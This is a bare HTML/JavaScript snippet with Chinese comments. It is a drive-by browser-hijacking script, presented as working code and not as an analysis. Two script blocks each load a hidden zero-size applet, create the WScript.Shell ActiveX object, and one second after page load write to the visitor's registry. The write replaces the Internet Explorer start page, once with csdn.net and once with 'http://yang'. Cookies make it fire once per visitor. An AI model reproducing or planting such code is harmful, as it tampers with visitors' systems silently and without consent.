<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function mm()
{
try
{
//ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
try
{
if (document.cookie.indexOf("mmm") == -1)
{
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.csdn.net/");//修改用户InternetExplorer浏览器的默认主页
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="mmm=0; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("mm()", 1000);//实现打开页面后1秒钟内执行测试修改注册表的工作
}
init();
</SCRIPT>
<script>
var ucook=document.cookie;
var user=ucook.indexOf("ilooki=");
if (user==-1)
{
var nowTime=new Date();
document.cookie="ilooki=1"+";"+"expires=Wednesday,04-Jan-"+eval(nowTime.getYear()+1903)+"12:34:56 GMT";
document.write ("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");function yuzi(){try{a1=document.applets [0];a1.setCLSID ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try {Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://yang");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);
}
</script>